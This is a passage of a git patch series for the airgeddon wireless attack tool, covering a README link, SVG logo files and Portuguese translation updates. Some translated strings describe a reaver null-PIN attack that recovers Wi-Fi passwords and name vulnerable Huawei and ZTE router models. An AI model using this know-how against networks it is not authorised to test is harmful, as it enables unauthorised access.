z^bnt%-GGv^;g&61A`f+;`1#O)3BAD$Nyk0xK!e#(3WvUy=@sT+9H<{5?(A|Iz-JR!brR{(o9KbAF4TqW8HY225j|8%r$!o7t~8%KBBB;C#~ zT;L;ou8>TiyLu?Gsg$Y2+WYwJrg5IN{v(HU3+@9X!q&f)S0iYiYI3uIM&v83qcUT* zm{=;T$xKFVuB6ev>DCN}^?WwHrbqL*kEv&S;kGEm6peqJO0+rU~IaP%Y{xo4_|~fZ*Jn5SddCSX!`AqESAJ& z5H8rM=bx@|V@dnF3gfCuaazh<+^;>dZ_3D z)w%XPj#ydJeYq=g%IsyWNF{OAq~2XRkOj>(k^ecXzm`Jg1b(Xm8g*&GaNH}*>6Ed1 z!|MgkkM>y#uX9l+nHD-ZZ+4`@HQS>aX9a2^ec!<(75!=GMp2=sYJQ~U5@`gX!nN$& z#aG{M;`;3Mc~dAEAcMX~ot0l5Qw{HEoHT$Z!h&qYS_02I#NZS%BPgil|133mkiQ0i zStz)dPp5=bl-Nlv?O%)0rVTmY&d8McH*UH)URh4Q=8T~>L$?GBKyT4{5KCra$$iA4rQCEE2`RQz%Z|tIK}SzjiH=H zOTj1@+S#o*nxAKoX!IV=2}}#=I^-=GE%}+0^piFWwJ75;!r&@W0=y}1qBJ$K>4 z62+qFsm)p#%3c1<(~;F&05L7)7&#+9v$p8yWPY#w1u+!lG1xu{5JP<^>6)7u+|GmH z1?;N2Tay1}$QW(fk$eJ%-NUnFwRu=p^s0)65En>F6I@_95>TC~;^8Mwo@_$_Y$^Ys zVB%plA!QG{6pwYs41m|nrG=VLqk0jC>mmxnAI_W=IXplucyOurN%ptl&tUZahGINA z0&JJ7aZ|}n8%BtYfQRWoa$emSRlEpcWC&u38IZ-k&fUFcFClrcrIudp*YoD@qNsWU$xS2ji7;6(Sv0@Kszn`{@Pz)u zYy_UJ5&=II+($et5yl)weYhay*%LoV-A>h}Y44wF!l_|Tew{Q(1w!K9R2_Ceod z4>hvsNk#x#0oLT1?e<1)0kPD!{G4!*vj3v@!aH;UY?&s*!c&YcQbRotMa_NckzDfj zB`0Ptgu`3O=E0UYSHI$6=p>jtSQM?|Vu|?t_(yIXjNx2x@Q3ost*B#?b_~=MiSd2D zouoGMb>o3M9AOv6v93!AAg)9YKUhW`m$CZl;sqkw2(Z~~%MGQe+$c@Y;$>JqSI%D- z#olTi#f1e0@z4!rK5=5A?t`NNNRP2^tP1)u((vScI0{6IO40W0`BF(xuR?Mvuh?o} z>qmkIv?`;}_upegws%)im64i>$JykPW;XRx?`3dY#;&z-bHxF`C^G}YLB;bc? zA_Rw*Y(GYhrPlGyTcu9cZq>38#H05b6BATZK>gc0L1C#5oX!3D1<4(;WPwfWEW83o zHE8lPj%dc~#gKAl7VoGoh&$+8N3yP;*FDM2tTd2 z$@1)o1*{u7Gy^>AsTqp|%Co)QN#b6u9@(sAVluB~j(`y=ChP|6FjDten}YB8zE?P~ z(gR8(@p>zmZ7kfp>7R8Zod%*rRl#96Z+v6}lr>(|(=i9J4eU1s9O||q_8Z`dfH2r3R^Ni0c9RLxC?X~1}i|G zz{q!FqZRabCn7>{a|Rki)V~9GWHEmcP6U7uxY9ZJ0JI-Ma(houPY13wVc(lj^jX}- z+y{ePrZ-AkCKLsM)Vxenv!KXO#Z);Z(LDzhFp;_by|o-r%MPt>Hh`e;=pmI(e8;%~ zeEmcA*C%7|qMJ{gpW$|E&pbGPemLbv&UKOf!tU0Pr}(tRgk$_UG;(lDt>Sy-s9*un zzNV9So!jx?#ELc0bJjO@E8So+J=$hsNB+#!V6G4qTt z6`^T1YTkMoiAYu&A zt;ug1atzy!W9%TCyM0%$DC%$W_KT>j$r5#7*g!A zY!CfY6~L1o{3B5Nfc&yY)z>0vD<(OJxLX{G9mDW)W9`>a(6(g$(iE!X1P3Ygauu%E z*9kj+6Ect`-D>Cwy0S70V{e)$mm53@XA72#pO=yOVbwIY2!V6F2TF$omXIv;ae*2D`s;*A?af8=?)2^C+He809PVg4FJo z15%JK+aTG@5CsHr{vt|S8VmM+e(D-cN6mvH9eOW^aTw>6)P9~6w7dw5Q>B^GM zSmk?(4*}vF{IIq-ZAJDq2LYa87jB`CohGWXZb#+C6AIO+&trejJX&-Ig#gD_XJ)S6 zR_YwwhHlqA$}VEKi4dm6`EVqPGW&`yE+nTn{o8S^VBvUlp3OvBZtcz1fJ9S=C5BQR zWz^3_@eSmz6rMCv8XxSjDX;b)L5~YTi9F@l1CicZ;Pmde`n?0M)#Kr3Okp$rZ{1%0 zLJx;_xKkuUGv3W`&572zB<%Gpu3+6^PwmI|tuK!yvT8 z)24U)OL&&;CjvhU zavnVx>D@dZEfL}B=BL2q*<+{ryQ{#0$;1EqaySrZ%nlMNH1jAcPJ3C5viTccS1~y_ zD>FP1lgyvBKd<0pG>jJ^itYuEu`6%L%8bM;=!soKVg}5M; z188VY(9Msedpe2Ja29kARj4g0eLlPsnn;^a>qAd_YDuR{=$8u+rgEa(-h8^ z3ZMy~qqrMZS*FO&{FmG>W+i zpQt2+I3)DxAFOx`Qa~URM*RRq7S7j*pxUlHfySymMT>{A2GM+F1$jAX|q@76pgk*YEdJijHjH&GbPFC)C|6pf5)7x{+5?*9f*J^5GJIg?XLV&r_Q@O7thH z1M8Z#Y-c`&_mg*!nFl{rUl=xP228*V3m`T|`> z3Fw9l{f_Z5yer68a!{&)PK)#Nf+poV5}-zBXX{mC%U?Hbw&?1nzw(Ei@$>Ql>h`9# zK)C1U3znQlsXPVMacnKBMv)W-#qTW*mPbMH+F@ba(N05x^wv z)LTzre8G~*diwhPWTr^;{oS{chbL(k*Km>-7`c1Q~93&7 z=dIt0q^tyL+`hW;KjDhnGpcF+7OH1fBA55fLxC+16B|=d$`=}%^)qkWpGFSi(+5Uu z2zLLo60@MF4HDg@VgJ6SrJqc0BwODN{oti&@zTQ^2)hPe* zF)s`VD|8zf2S03TYlXzDwRZ%^si&YBNY~1*|0>!dy^lv|L(4&eROB&+7<}2yvN?$P zXdqnPpXok72n+ruA6g$vXNaQgmwrUwTxLHXW74(<^$+9 zX`n?+KHv|NhLi!j-mVkG4@y8D(tIzB;#+1NydIe?{ z_nKJ&F+9~n0lFOBv?SwzG-&m0n_o~s*g=MXmbU53uVFzC5b&uNqXQZs>)6Q(mo>%} zPT^&wQlA?#NLhO*$4P_$kA3;RK4&H1Ioi!WQMa^5TggAc%VRxltp@6(1ZbS_ZqF5-X0OeVOs zOI%cg_Z_H!=%61Fho}0NF+kpi(eC3^HNGliapMFoeI5HG4Vl|$^MsUksp1?)<5}Wy zQ6{6zoy79E|2Ft7V{j<$p6d}Y%di>*vZyJZj&mU`JhgA)q=91}Q85hJztEmQ~w>%D%KmG0Oe!e3YoI6$r0@P?r% z!zkxM)9==>+AwbCMo_tB2xa8}4}t3rP&3!sgP(7MPO|J9#dr+yok}!GLQnu(g)k`6 zk>SS6J1Az8m_MJZ&RPnE=~fQG}sZY$^?5!;pTLCHhBB1t+yVj(%abMT`q z=A%%9sbfl}7H-`D+t?G5u{N{~=_3MQOsA}G6wb48zCMUwzbol<&ZsKC^Y3Jm_@FRa z3XEiA8}G*ESV8oy7_C=hMb-6^! z^}koFYlRQ}ghi7IFsGw=u=LbhIyFyeCmKkJJSMt|EGkH3eML`U*<(jz;u^twWZj*y zQe4qx4^&^zz@3#nu+b*n8K8azgm6*;qJ3Cq3~U!O!lSU;2NW*Mo|7r_FGP{_JIEj{ zZphi3f^XQklQB5Wd2VTvfyY6}1OdE86D%-No`@c(t~JT5G5p9O(*}jsGH{BdXCqze zh2b1dsz#7piiX$XLQ+!l{`jz(^5N+E;N2X+*x+$5ouo$G?_JC;CowTm1mp(6h1Iwf z?u^!&PJ^827#?bSpt;CAKiPSlRmRNlng$F;SWz86j!PbEXM|{!B zJ9HZLJnA<_8KM|z9qGkru7X<5M^eg=ga~%hMy-1YtKR=w#K6=$(8*dtPJ%h)Mvz(p z%7Bk8`E)n|bteGb$IL|dTg;~1b-2$<8zd8D7Sy4OD6EG=>P*B$ z0e7~1;F^M+VvL-U_U$vYg(@KTrjdANm^VRpf|UwkaHOf+FD3DH$?B2a2#A4p;j|CX zaa@e5LIP>55Xaf)t{wOwoN1oItV*S;hGxWw<_C0V#ae2eCZ__r ztQ@)rfTB4#-otPShb3IZu7g?Q~B!isH6MeIH_W$;RCqp0Qzxhup z!9n*y8)b*jr%~H9aRLkIeaIKLX@IToiSb<-#>7s6B#2OdCLy(bHg=fBY?z+M>0(EF8o`eLwwXm}BON(rP| zJk<{wN8MzcZp31ig0yP{X7XWjX)~sD)hkjUy{L@_8c505b8m3@n6+^Y+yRIYBa^PS@cG6HA;C#d%Gvuo~vGqML z8YT_}R_-sHMA71!Xrt2X9!xt67FA6^D<^eTOUiDKSa+$@8*$GV9s)z*VxXHNwJr>W zCLGa6L(Zt>O0^I%XqKs;_&>)EI0AX_8QgVxiYfi@#EBCDsu^&caPLSn;Q)hCTX8J)b?2j!|!g*){!u%ex(-Zpzzhyu^OQ`vSF* zFaofyg-n4CooM=K*a)kX`@%sNJNn?^N!P<

    &jmC&0)`)5l^4sBMnv}*&S6T zz`SFG57I?6R3w4iX#_4gz)mQuo6->!;CQoG40+34QFVwV5fIztdg?FW&qt%w6~1itsmJzlHVVP*XtmS z#>+)uk~RL5uR%k1*o|=M*p}=QzwqM^&*v25KMW~*Fd6?5clh@NUIT|$hR1P?{sQ;N zH(?hh9}uhK(JoD?GhTrK#A@Ly+)yK0^l}xN$>^28fhcnZ>I_tDMlJNepL_rJbD+)f z<(Q%+PJfPTVUK4;QLeQ-Q81c4-54T{zY{xIgUFByzfwTNOK@WDSKv}o8-f6rI6Cq3 zr@U+%U@$EK$Jx`4{$8T)-%D(vlG_A(%zj5Wb==_=cKD*OK>(llR=h59P2B5X5^-XH zXhcfjC4PFsbh~vZ4MpGQ_2CI?otW2wpm&*w6EJ7j)!A=gnDhL-qz`EQqX|X-JvA14 z3_iX(lOPba)~=dHDH2{T?CHXI;`4!TN&#H&Va&mQznk>;3Z|gGQ%uz*WX!}a;1wu2 z@tNwmSX^&`vo~MWzhasJG$OOH5cqiOZV*+T`wsK=DK$_%z^LRKWeqHqM z--|tmaNjZhr;Fm0_N2*^XS25?9?OK8Gl|c5VGa47O*Eo<5yg(#X zykPNWwo#LTC=k=>WF3sIm0!gE<3PSuTTA8HoBrZBl=GBL;qmOEsxvA&9quEaF-VH$ zJ%F`AoQbiMpZF3n_K;zCn!j_j(rtsFl8i-h-wXqQy>rDNk1&EdfHa2j7%2p0yKvBi zZ>fJdVKV|3(SJa(6kRUtx)8=8VH%!HWd<=tRGT4C0i1wZ@mw4xQ9SX@41tO5mPT{4 zG2jzNeHzmMJ+Nm~9w+~UBAEWxty`ZIh9lro`~|H?hvJdbqV6>MCp;sK)1wJ`J8v`o zP8v*GHL*SDn?^VI9^MMW$X_+B*{Y9uWs^o7r~0cUe=ovr6+0^7UyG($Py8&9m+P;M sioam{8vOXo|Nk?3IR6hmkTZM?<`(Wd=~G&N&=u-vZr_xmVSVg>0rm-DegFUf literal 0 HcmV?d00001 From 6c3ef7a965197f175b02bda80a3148282e8ab949 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 19 Apr 2019 10:30:43 +0200 Subject: [PATCH 140/148] Added wallpapers section to Readme.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 8b52bf9d3..c052e6d67 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present - [Home] - [Features] - [Screenshots] + - [Wallpapers] - *II. Requirements* @@ -55,6 +56,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Home]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki [Features]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Features [Screenshots]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Screenshots +[Wallpapers]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Wallpapers [Requirements]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Requirements [Compatibility]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Compatibility [Essential Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Essential%20Tools From be424fa4a31e0ecd8f4eeb88e3817366285b2c78 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 21 Apr 2019 10:11:15 +0200 Subject: [PATCH 141/148] Added svg files --- imgs/wiki/airgeddon_vector_black.svg | 24 ++++++++++++++++++++++++ imgs/wiki/airgeddon_vector_white.svg | 20 ++++++++++++++++++++ 2 files changed, 44 insertions(+) create mode 100644 imgs/wiki/airgeddon_vector_black.svg create mode 100644 imgs/wiki/airgeddon_vector_white.svg diff --git a/imgs/wiki/airgeddon_vector_black.svg b/imgs/wiki/airgeddon_vector_black.svg new file mode 100644 index 000000000..7d579e58b --- /dev/null +++ b/imgs/wiki/airgeddon_vector_black.svg @@ -0,0 +1,24 @@ + + airgeddon + + + + + + + + + + + + + + + + + + + + + + diff --git a/imgs/wiki/airgeddon_vector_white.svg b/imgs/wiki/airgeddon_vector_white.svg new file mode 100644 index 000000000..59849f494 --- /dev/null +++ b/imgs/wiki/airgeddon_vector_white.svg @@ -0,0 +1,20 @@ + + airgeddon + + + + + + + + + + + + + + + + + + From aa22406ece1167564f5f3379f01a5e99d26b99fa Mon Sep 17 00:00:00 2001 From: luan Date: Thu, 2 May 2019 01:09:30 -0300 Subject: [PATCH 142/148] Update Portuguese Translation --- language_strings.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 0c1494bc9..c9a966f1b 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8246,7 +8246,7 @@ function language_strings() { arr["SPANISH",616]="10. Cambiar el método de manejo de ventanas a tmux" arr["FRENCH",616]="10. Changer la méthode de gestion des fenêtres en tmux" arr["CATALAN",616]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a tmux" - arr["PORTUGUESE",616]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para tmux" + arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" arr["RUSSIAN",616]="${pending_of_translation} 10. Измените метод управления окнами на tmux" arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" arr["ITALIAN",616]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in tmux" @@ -8258,7 +8258,7 @@ function language_strings() { arr["SPANISH",617]="10. Cambiar el método de manejo de ventanas a xterm" arr["FRENCH",617]="10. Changer la méthode de gestion des fenêtres en xterm" arr["CATALAN",617]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a xterm" - arr["PORTUGUESE",617]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para xterm" + arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" arr["RUSSIAN",617]="${pending_of_translation} 10. Измените метод управления окнами на xterm" arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" arr["ITALIAN",617]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in xterm" @@ -8270,7 +8270,7 @@ function language_strings() { arr["SPANISH",618]="Manejo de ventanas: ${pink_color}xterm${normal_color}" arr["FRENCH",618]="Gestion des fenêtres: ${pink_color}xterm${normal_color}" arr["CATALAN",618]="${pending_of_translation} Maneig de finestres: ${pink_color}xterm${normal_color}" - arr["PORTUGUESE",618]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}xterm${normal_color}" + arr["PORTUGUESE",618]="Gerenciador de janelas: ${pink_color}xterm${normal_color}" arr["RUSSIAN",618]="${pending_of_translation} Управление окнами: ${pink_color}xterm${normal_color}" arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" arr["ITALIAN",618]="${pending_of_translation} Gestione delle finestre: ${pink_color}xterm${normal_color}" @@ -8282,7 +8282,7 @@ function language_strings() { arr["SPANISH",619]="Manejo de ventanas: ${pink_color}tmux${normal_color}" arr["FRENCH",619]="Gestion des fenêtres: ${pink_color}tmux${normal_color}" arr["CATALAN",619]="${pending_of_translation} Maneig de finestres: ${pink_color}tmux${normal_color}" - arr["PORTUGUESE",619]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}tmux${normal_color}" + arr["PORTUGUESE",619]="Gerenciador de janelas: ${pink_color}tmux${normal_color}" arr["RUSSIAN",619]="${pending_of_translation} Управление окнами: ${pink_color}tmux${normal_color}" arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" arr["ITALIAN",619]="${pending_of_translation} Gestione delle finestre: ${pink_color}tmux${normal_color}" @@ -8294,7 +8294,7 @@ function language_strings() { arr["SPANISH",620]="Se ha modificado en el fichero de configuración el método de gestión de ventanas. Reinicia el script para que los cambios tengan efecto" arr["FRENCH",620]="La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" arr["CATALAN",620]="${pending_of_translation} S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" - arr["PORTUGUESE",620]="${pending_of_translation} O método de gerenciamento de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" + arr["PORTUGUESE",620]="O gerenciador de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" arr["RUSSIAN",620]="${pending_of_translation} Метод управления окнами был изменен в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" arr["ITALIAN",620]="${pending_of_translation} Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" @@ -8306,7 +8306,7 @@ function language_strings() { arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enivada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" arr["FRENCH",621]="Il n'est pas possible de lancer airgeddon dans la session de tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera crée pour lancer airgeddon" arr["CATALAN",621]="${pending_of_translation} No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enivada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" - arr["PORTUGUESE",621]="${pending_of_translation} Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será enviada para o fundo e uma nova sessão do tmux será criada onde o airgeddon será lançado" + arr["PORTUGUESE",621]="Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será colocada em segundo plano e uma nova sessão do tmux será criada onde o airgeddon será executado" arr["RUSSIAN",621]="${pending_of_translation} Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" arr["ITALIAN",621]="${pending_of_translation} Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà inviata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" @@ -8318,7 +8318,7 @@ function language_strings() { arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" arr["FRENCH",622]="13. (reaver) Attaque de PIN nul" arr["CATALAN",622]="${pending_of_translation} 13. (reaver) Atac de PIN nul" - arr["PORTUGUESE",622]="${pending_of_translation} 13. (reaver) Ataque de PIN nulo" + arr["PORTUGUESE",622]="13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" arr["ITALIAN",622]="${pending_of_translation} 13. (reaver) Attacco PIN nullo" @@ -8330,7 +8330,7 @@ function language_strings() { arr["SPANISH",623]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v${minimum_reaver_nullpin_version}). El script puede continuar..." arr["FRENCH",623]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." arr["CATALAN",623]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." - arr["PORTUGUESE",623]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." + arr["PORTUGUESE",623]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",623]="${pending_of_translation} È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco PIN nullo integrato con reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." @@ -8342,7 +8342,7 @@ function language_strings() { arr["SPANISH",624]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v${minimum_reaver_nullpin_version}" arr["FRENCH",624]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" arr["CATALAN",624]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" - arr["PORTUGUESE",624]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver integrado você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" + arr["PORTUGUESE",624]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" arr["ITALIAN",624]="${pending_of_translation} È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco PIN nullo integrato con reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" @@ -8354,7 +8354,7 @@ function language_strings() { arr["SPANISH",625]="El ataque de PIN nulo es muy rápido y consigue la contraseña instantáneamente pero solo unos pocos puntos de acceso son vulnerables. Algunos conocidos son \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" y \"ZTE H298N\"" arr["FRENCH",625]="L'attaque de PIN nul est très rapide et il obtient le mot de passe instantanément, mais juste quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" arr["CATALAN",625]="${pending_of_translation} L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" - arr["PORTUGUESE",625]="${pending_of_translation} O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns são \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" + arr["PORTUGUESE",625]="O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns como: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["RUSSIAN",625]="${pending_of_translation} Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Некоторые \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" arr["ITALIAN",625]="${pending_of_translation} L'attacco PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni lo sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" @@ -8366,7 +8366,7 @@ function language_strings() { arr["SPANISH",626]="A partir de la versión 9.20 de airgeddon, tmux está soportado y se puede utilizar en lugar de xterm como gestor de ventanas. Se puede lanzar el script en un entorno sin un sistema gráfico de ventanas X. Solo se recomienda hacerlo para usuarios avanzados. Como cualquier otra opción, se puede configurar desde el menú de opciones, configurarlo en el fichero de opciones ${rc_file} o lanzarlo usando el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línea de comandos. Más información acerca de la personalización de opciones en el Wiki: ${urlgithub_wiki}/Options" arr["FRENCH",626]="À partir de la version 9.20 d'airgeddon, tmux est supporté et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou le lancer à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" arr["CATALAN",626]="${pending_of_translation} A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar-usant el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" - arr["PORTUGUESE",626]="${pending_of_translation} A partir da versão 9.20 do airgeddon, o tmux é suportado e pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico do X. Ele é recomendado apenas para usuários avançados. Como qualquer outra opção, ele pode ser configurado a partir do menu de opções, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"flag\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" + arr["PORTUGUESE",626]="A partir da versão 9.20 do airgeddon, o tmux pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico (X-Window). É recomendado apenas para usuários avançados. Como as demais opções, pode ser configurado a partir do menu, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"parâmetro\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" arr["RUSSIAN",626]="${pending_of_translation} Начиная с версии airgeddon 9.20, tmux поддерживается и может использоваться вместо xterm в качестве обработчика Windows. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" arr["ITALIAN",626]="${pending_of_translation} A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un 